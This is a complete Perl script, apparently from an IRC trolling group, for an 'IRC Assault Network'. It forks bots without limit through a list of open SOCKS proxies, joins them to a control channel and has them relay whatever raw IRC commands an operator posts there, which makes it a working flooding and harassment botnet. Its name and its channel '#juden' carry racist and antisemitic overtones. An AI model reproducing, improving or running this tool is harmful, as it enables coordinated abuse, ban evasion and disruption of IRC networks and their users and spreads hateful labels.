| 1 | #!/usr/bin/perl |
|---|
| 2 | # ASIAN by Rucas |
|---|
| 3 | # Automated Synchronous IRC Assault Network |
|---|
| 4 | # Based on AYSYN by mef |
|---|
| 5 | # |
|---|
| 6 | # Make sure to put a SOCKS5 proxy list in proxies.txt in the same |
|---|
| 7 | # directory as this script. If you'd like to use tor, you can put |
|---|
| 8 | # the correct info on one line in proxies.txt and this app will |
|---|
| 9 | # still function properly (although generally tor sucks) |
|---|
| 10 | # |
|---|
| 11 | # All bots join $channel and are issued raw irc commands from there |
|---|
| 12 | # using syntax "all PRIVMSG Rucas lol you fail it" for all bots or |
|---|
| 13 | # "botname PRIVMSG Rucas lol failure" and such. |
|---|
| 14 | # |
|---|
| 15 | # Testing of an early version of this script is the reason that |
|---|
| 16 | # Freenode now checks for open SOCKS proxies. |
|---|
| 17 | |
|---|
| 18 | use warnings; |
|---|
| 19 | use strict; |
|---|
| 20 | use threads; |
|---|
| 21 | use threads::shared; |
|---|
| 22 | #use IO::Socket::Socks; |
|---|
| 23 | use Net::SOCKS; |
|---|
| 24 | |
|---|
| 25 | sub server { |
|---|
| 26 | my @servers = ("irc.gnaa.us"); |
|---|
| 27 | return $servers[rand(@servers)]; |
|---|
| 28 | } |
|---|
| 29 | our $port = "6667"; |
|---|
| 30 | our $channel = "#juden"; |
|---|
| 31 | sub fullname { return "lol".int(rand(2000)); } |
|---|
| 32 | our $nickbase = "GNAA"; #### keep this very short |
|---|
| 33 | our $maxthreads = 500; |
|---|
| 34 | our $threadcount = 0; |
|---|
| 35 | our @thr; |
|---|
| 36 | our @proxies = (); |
|---|
| 37 | our $rand = 0; |
|---|
| 38 | our $count = 0; |
|---|
| 39 | print "/!\\ ASIAN BOOTING UP /!\\\r\n"; |
|---|
| 40 | |
|---|
| 41 | sub bot { |
|---|
| 42 | warn "HY LOL"; |
|---|
| 43 | my %settings = @_; |
|---|
| 44 | |
|---|
| 45 | warn <<EOM; |
|---|
| 46 | ConnectAddr => server(), |
|---|
| 47 | ConnectPort => $port, |
|---|
| 48 | ProxyAddr => $settings{sockshost}, |
|---|
| 49 | ProxyPort => $settings{socksport}, |
|---|
| 50 | EOM |
|---|
| 51 | my $socket = new Net::SOCKS( |
|---|
| 52 | socks_addr => $settings{sockshost}, |
|---|
| 53 | socks_port => $settings{socksport}, |
|---|
| 54 | protocol_version => 4, |
|---|
| 55 | ); |
|---|
| 56 | my $sock = $socket->connect( |
|---|
| 57 | peer_addr => server(), |
|---|
| 58 | peer_port => $port, |
|---|
| 59 | ); |
|---|
| 60 | warn "CONNECTED"; |
|---|
| 61 | unless ($sock) { warn "Ugh couldn't connect $settings{sockshost} $settings{socksport} "; return; } |
|---|
| 62 | print $sock "NICK $settings{nick}\r\n"; |
|---|
| 63 | print $sock "USER $settings{nick} 8 * :".fullname()."\r\n"; |
|---|
| 64 | warn "NICK $settings{nick}\r\n"; |
|---|
| 65 | warn "USER $settings{nick} 8 * :".fullname()."\r\n"; |
|---|
| 66 | |
|---|
| 67 | while ( my $input = <$sock> ) { |
|---|
| 68 | print "$input\n"; |
|---|
| 69 | if ( $input =~ /004/ ) { |
|---|
| 70 | last; |
|---|
| 71 | } |
|---|
| 72 | elsif ( $input =~ /433/ ) { |
|---|
| 73 | die "Nickname is already in use."; |
|---|
| 74 | } |
|---|
| 75 | } |
|---|
| 76 | |
|---|
| 77 | print $sock "JOIN $channel\r\n"; |
|---|
| 78 | |
|---|
| 79 | while ( my $input = <$sock> ) { |
|---|
| 80 | chop $input; |
|---|
| 81 | print "-> $settings{nick} $input\n"; |
|---|
| 82 | if ( $input =~ /^PING(.*)$/i ) { |
|---|
| 83 | print $sock "PONG $1\r\n"; |
|---|
| 84 | } |
|---|
| 85 | if ( $input =~ /PRIVMSG $channel :all (.*)$/i ) { |
|---|
| 86 | print $sock "$1\r\n"; |
|---|
| 87 | print "<- $settings{nick} $1\r\n"; |
|---|
| 88 | } |
|---|
| 89 | if ( $input =~ /PRIVMSG $channel :$settings{nick} (.*)$/i ) { |
|---|
| 90 | print $sock "$1\r\n"; |
|---|
| 91 | print "<- $settings{nick} $1\r\n"; |
|---|
| 92 | } |
|---|
| 93 | } |
|---|
| 94 | $socket->close(); |
|---|
| 95 | |
|---|
| 96 | } |
|---|
| 97 | |
|---|
| 98 | sub spawn { |
|---|
| 99 | open( PROXYLIST, "./proxies.txt" ); |
|---|
| 100 | push @proxies, map { { ip => $_->[0], port => $_->[1] } }[ split /[\:\n]/ ] |
|---|
| 101 | for <PROXYLIST>; |
|---|
| 102 | for (;;) { |
|---|
| 103 | $rand = int( rand(@proxies) ); |
|---|
| 104 | my $host = $proxies[$rand]{ip}; |
|---|
| 105 | my $port = $proxies[$rand]{port}; |
|---|
| 106 | my $nick = "$nickbase$threadcount"; |
|---|
| 107 | print "$nick $host:$port\r\n"; |
|---|
| 108 | my $pid = fork(); |
|---|
| 109 | if ($pid == 0) { |
|---|
| 110 | #child |
|---|
| 111 | bot( nick => $nick, sockshost => $host, socksport => $port ); |
|---|
| 112 | exit; |
|---|
| 113 | } |
|---|
| 114 | sleep 10; |
|---|
| 115 | $threadcount++; |
|---|
| 116 | } |
|---|
| 117 | } |
|---|
| 118 | spawn(); |
|---|
| 119 | print "/!\\ ASIAN SHUTTING DOWN /!\\\r\n"; |
|---|